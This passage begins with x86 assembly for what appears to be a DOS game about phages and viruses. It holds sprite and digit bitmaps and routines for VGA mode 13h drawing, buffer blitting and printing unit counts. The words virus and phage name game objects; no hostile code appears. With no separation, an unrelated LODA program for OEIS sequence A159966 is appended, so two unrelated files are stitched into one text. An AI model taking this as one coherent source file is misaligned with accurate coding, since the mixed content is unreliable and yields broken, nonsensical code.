0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0 DB 0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0 DB 0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0 DB 0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0 DB 0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0 DB 0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0 DB 0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0 DB 0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0 DB 0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0 DB 0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0 DB 0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0 DB 0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0 DB 0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0 DB 0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 PHAGE_2 DB 33 DB 31 DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0 DB 0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0 DB 0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0 DB 0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0 DB 0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0 DB 0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0 DB 0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0 DB 0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0 DB 0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0 DB 0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0 DB 0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0 DB 0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0 DB 0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0 DB 0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0 DB 0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0 DB 0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0 DB 0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0 DB 0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0 DB 0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0 DB 0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0 DB 0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 PHAGE_3 DB 19 DB 18 DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0 DB 0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0 DB 0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0 DB 0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0 DB 0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0 DB 0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0 DB 0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0 DB 0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0 DB 0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0 DB 0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0 DB 0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0 DB 0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0 DB 0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0 DB 0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0 DB 0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0 DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 COLORS DB 29H DB 2AH DB 2FH DB 2DH BASE DB 0, 0, 0, 0 DB 0, 0, 0, 0 DB 0, 0, 0, 0 DB 0, 0, 0, 0 DB 0, 0, 0, 0 DB 0, 0, 0, 0 DB 0, 0, 0, 0 ZERO DB 1, 1, 1, 1 DB 1, 0, 0, 1 DB 1, 0, 0, 1 DB 1, 0, 0, 1 DB 1, 0, 0, 1 DB 1, 0, 0, 1 DB 1, 1, 1, 1 ONE DB 0, 0, 1, 0 DB 0, 1, 1, 0 DB 0, 0, 1, 0 DB 0, 0, 1, 0 DB 0, 0, 1, 0 DB 0, 0, 1, 0 DB 0, 1, 1, 1 TWO DB 1, 1, 1, 1 DB 0, 0, 0, 1 DB 0, 0, 0, 1 DB 1, 1, 1, 1 DB 1, 0, 0, 0 DB 1, 0, 0, 0 DB 1, 1, 1, 1 THREE DB 1, 1, 1, 1 DB 0, 0, 0, 1 DB 0, 0, 0, 1 DB 0, 1, 1, 1 DB 0, 0, 0, 1 DB 0, 0, 0, 1 DB 1, 1, 1, 1 FOUR DB 1, 0, 0, 1 DB 1, 0, 0, 1 DB 1, 0, 0, 1 DB 1, 1, 1, 1 DB 0, 0, 0, 1 DB 0, 0, 0, 1 DB 0, 0, 0, 1 FIVE DB 1, 1, 1, 1 DB 1, 0, 0, 0 DB 1, 0, 0, 0 DB 1, 1, 1, 1 DB 0, 0, 0, 1 DB 0, 0, 0, 1 DB 1, 1, 1, 1 SIX DB 1, 1, 1, 1 DB 1, 0, 0, 0 DB 1, 0, 0, 0 DB 1, 1, 1, 1 DB 1, 0, 0, 1 DB 1, 0, 0, 1 DB 1, 1, 1, 1 SEVEN DB 1, 1, 1, 0 DB 0, 0, 1, 0 DB 0, 0, 1, 0 DB 0, 1, 1, 1 DB 0, 0, 1, 0 DB 0, 0, 1, 0 DB 0, 0, 1, 0 EIGHT DB 1, 1, 1, 1 DB 1, 0, 0, 1 DB 1, 0, 0, 1 DB 1, 1, 1, 1 DB 1, 0, 0, 1 DB 1, 0, 0, 1 DB 1, 1, 1, 1 NINE DB 1, 1, 1, 1 DB 1, 0, 0, 1 DB 1, 0, 0, 1 DB 1, 1, 1, 1 DB 0, 0, 0, 1 DB 0, 0, 0, 1 DB 1, 1, 1, 1 NUMBERS DW ZERO, ONE, TWO, THREE, FOUR, FIVE, SIX, SEVEN, EIGHT, NINE .CODE ; Change to graphic mode. CHANGE_GRAPHIC_MODE PROC NEAR ; Change to graphic mode interrupt MOV AX, 0A000H MOV ES, AX MOV AX, 0013H INT 10H ; Set background color MOV DI, 0 MOV AL, 0 MOV CX, 64000 REP STOSB RET CHANGE_GRAPHIC_MODE ENDP ; Change to graphic mode without background CHANGE_GRAPHIC_MODE_NO_BACK PROC NEAR ; Change to graphic mode interrupt MOV AX, 0A000H MOV ES, AX MOV AX, 0013H INT 10H RET CHANGE_GRAPHIC_MODE_NO_BACK ENDP ; Cleans the buffer with the given color. ; Extra segment is assigned with the buffer address. CLEAN_BUFFER MACRO BUFFER_ADDRESS, SIZE, COLOR ; Extra segment value ;MOV BX, ES MOV AX, BUFFER_ADDRESS MOV ES, AX ; Copies the value along the buffer CLD MOV AL, COLOR MOV CX, SIZE MOV DI, 0 REP STOSB ; Extra segment restore ; MOV ES, BX ENDM ; Copies (blits) the buffer to another of the same size BLIT_BUFFER MACRO SEG_BUFFER_SRC, SEG_BUFFER_DEST, SIZE ; Saves data segments MOV BX, DS PUSH BX MOV BX, ES PUSH BX MOV AX, SEG_BUFFER_SRC MOV DS, AX MOV AX, SEG_BUFFER_DEST MOV ES, AX ; Copies data MOV SI, 0 MOV DI, 0 MOV CX, SIZE REP MOVSB ; Restores data segments POP AX MOV ES, AX POP AX MOV DS, AX ENDM ; Macro for printing points on screen DRAW_POINT MACRO POS_X, POS_Y, ATRIB MOV DX, 320 ; Screen width MOV AX, POS_Y ; Y position MUL DX ADD AX, POS_X ; AX = (POS_Y*320)+POS_X MOV DI, AX MOV AL, ATRIB ; Attibute byte STOSB ENDM ; Procedure for printing images on screen ; @param [WORD]: Image address ; @param [WORD]: X position ; @param [WORD]: Y position ; @param [WORD]: Player data DRAW_IMAGE PROC NEAR .DATA ROW_AMOUNT DB 0D COUNTER DB 0D YPOSITION DW 0D XPOSITION DW 0D XPOSITION_ORIG DW 0D VERIFIER DW 0D COLOR DW 0D .CODE ; Prepare the stack PUSH BP MOV BP, SP PUSHA ; Loads image data MOV BX, [BP+4] MOV VERIFIER, BX ADD VERIFIER, 2 MOV DL, IMAGE_HEIGHT[BX] MOV ROW_AMOUNT, DL ; Calculates the position where drawing starts PUSH WORD PTR [BP+4] MOV DX, WORD PTR [BP+8] PUSH DX MOV DX, WORD PTR [BP+6] PUSH DX CALL POSITION_ADJUST ADD SP, 6 ; Cycle prepare MOV CX, 0 MOV CL, IMAGE_WIDTH[BX] ; Determine color MOVZX AX, [BP+10] PUSH AX CALL RETRIEVE_COLOR ADD SP, 2 ; Prints each row DRAW_IMAGE_PRINT: PUSH BX MOV BX, VERIFIER CMP BYTE PTR [BX], 0 JE TRANSPARENT MOV DX, 320 ; Screen width MOV AX, YPOSITION ; Y position MUL DX ADD AX, XPOSITION ; AX = (POS_Y*320)+POS_X MOV DI, AX MOV AL, BYTE PTR COLOR ; Attribute byte STOSB TRANSPARENT: INC VERIFIER INC XPOSITION POP BX LOOP DRAW_IMAGE_PRINT ; Initialize new row INC YPOSITION MOV DX, XPOSITION_ORIG MOV XPOSITION, DX MOV CL, IMAGE_WIDTH[BX] DEC ROW_AMOUNT JNZ DRAW_IMAGE_PRINT DRAW_IMAGE_END: ; Restore stack POPA POP BP RET DRAW_IMAGE ENDP ; Adjusts an image position ; @param [WORD]: X position ; @param [WORD]: Y position ; @param [WORD]: Image address ;------------------------------------------------------------; POSITION_ADJUST PROC NEAR ; Prepare the stack PUSH BP MOV BP, SP PUSHA MOV DX, 0 ; X position MOV AX, WORD PTR [BP+4] MOV BX, WORD PTR [BP+8] MOV DL, IMAGE_WIDTH[BX] SHR DX, 1 SUB AX, DX MOV XPOSITION, AX MOV XPOSITION_ORIG, AX ; Y position MOV AX, WORD PTR [BP+6] MOV BX, WORD PTR [BP+8] MOV DL, IMAGE_HEIGHT[BX] SHR DX, 1 SUB AX, DX MOV YPOSITION, AX ; Restore stack POPA POP BP RET POSITION_ADJUST ENDP ; Prints the amount of viruses over each phage ; @param [WORD]: Virus quantity ; @param [WORD]: X position ; @param [WORD]: Y position PRINT_VIRUS_QUANTITY PROC NEAR .DATA UNITS DB 0D TENS DB 0D .CODE ; Prepare the stack PUSH BP MOV BP, SP PUSHA MOV DL, 10 MOV AX, WORD PTR [BP+4] DIV DL MOV UNITS, AH MOV TENS, AL PUSH WORD PTR [BP+8] PUSH WORD PTR [BP+6] MOVZX DX, TENS PUSH DX CALL PRINT_TENS ADD SP, 6 PUSH WORD PTR [BP+8] PUSH WORD PTR [BP+6] MOVZX DX, UNITS PUSH DX CALL PRINT_UNITS ADD SP, 6 ; Restore stack POPA POP BP RET PRINT_VIRUS_QUANTITY ENDP ; Helper for number printing. Prints the tens part of the number. ; @param [WORD]: Number ; @param [WORD]: X position ; @param [WORD]: Y position PRINT_TENS PROC NEAR ; Prepare the stack PUSH BP MOV BP, SP PUSHA MOV BX, OFFSET NUMBERS MOV CX, [BP+4] SHL CX, 1 ADD BX, CX MOV DX, [BP+6] SUB DX, 4D MOV AX, [BP+8] SUB AX, 4D PUSH AX PUSH DX PUSH WORD PTR [BX] CALL DRAW_NUMBER ADD SP, 6 ; Restore stack POPA POP BP RET PRINT_TENS ENDP ; Helper for virus quantity printing. Prints the units part of the number. ; @param [WORD]: Number ; @param [WORD]: X position ; @param [WORD]: Y position ;-------------------------------------------------------------------------; PRINT_UNITS PROC NEAR ; Prepare the stack PUSH BP MOV BP, SP PUSHA MOV BX, OFFSET NUMBERS MOV CX, [BP+4] SHL CX, 1 ADD BX, CX MOV DX, [BP+6] ADD DX, 1D MOV AX, [BP+8] SUB AX, 4D PUSH AX PUSH DX PUSH WORD PTR [BX] CALL DRAW_NUMBER ADD SP, 6 ; Restore stack POPA POP BP RET PRINT_UNITS ENDP ; Draws a number image to the screen. ; @param [WORD]: Number offset ; @param [WORD]: X position ; @param [WORD]: Y position ;-----------------------------------------------------------------; DRAW_NUMBER PROC NEAR .DATA XCOORD DW 0 YCOORD DW 0 VAL DW 0 .CODE PUSH BP MOV BP, SP PUSHA ; Prepares the cycle MOV AX, [BP+6] MOV XCOORD, AX MOV AX, [BP+8] MOV YCOORD, AX MOV AX, [BP+4] MOV VAL, AX MOV CX, 0 MOV CL, 4 MOV BX, 7 ; Print every row DRAW_NUMBER_CYCLE: PUSH BX MOV BX, VAL CMP BYTE PTR [BX], 0 JE DRAW_NUMBER_NO_PRINT MOV DX, 320 ; Screen width MOV AX, YCOORD ; Y position MUL DX ADD AX, XCOORD ; AX = (POS_Y*320)+POS_X MOV DI, AX MOV AL, 23H ; Attribute byte STOSB DRAW_NUMBER_NO_PRINT: INC VAL INC XCOORD POP BX LOOP DRAW_NUMBER_CYCLE ; Initializes a new row INC YCOORD MOV AX, [BP+6] MOV XCOORD, AX ;SUB XCOORD, 4 MOV CL, 4 DEC BX JNZ DRAW_NUMBER_CYCLE ; Restore stack POPA POP BP RET DRAW_NUMBER ENDP ; Determines which color to use based on the player number. ; @param [WORD]: Player number (selec/no selec) RETRIEVE_COLOR PROC NEAR ; Prepare the stack PUSH BP MOV BP, SP PUSHA CMP BYTE PTR [BP+4], 0FFH JE RETRIEVE_COLOR_NEUTRAL MOV BX, OFFSET COLORS ADD BX, [BP+4] MOV DX, [BX] MOV COLOR, DX JMP RETRIEVE_COLOR_DETERMINED RETRIEVE_COLOR_NEUTRAL: MOV COLOR, 1 RETRIEVE_COLOR_DETERMINED: ; Restore stack POPA POP BP RET RETRIEVE_COLOR ENDP ; Restores graphic mode to text CHANGE_TEXT_MODE PROC NEAR MOV AL,03H MOV AH,00H INT 10H RET CHANGE_TEXT_MODE ENDP
; A159966: Lodumo_4 of A102370 (sloping binary numbers). ; 0,3,2,1,4,7,6,5,8,11,10,9,12,15,14,13,16,19,18,17,20,23,22,21,24,27,26,25,28,31,30,29,32,35,34,33,36,39,38,37,40,43,42,41,44,47,46,45,48,51,50,49,52,55,54,53,56,59,58,57,60,63,62,61,64,67,66,65,68,71,70,69,72,75,74,73,76,79,78,77,80,83,82,81,84,87,86,85,88,91,90,89,92,95,94,93,96,99,98,97 mov $1,3 lpb $1 add $0,2 add $1,$0 gcd $1,4 lpe sub $0,2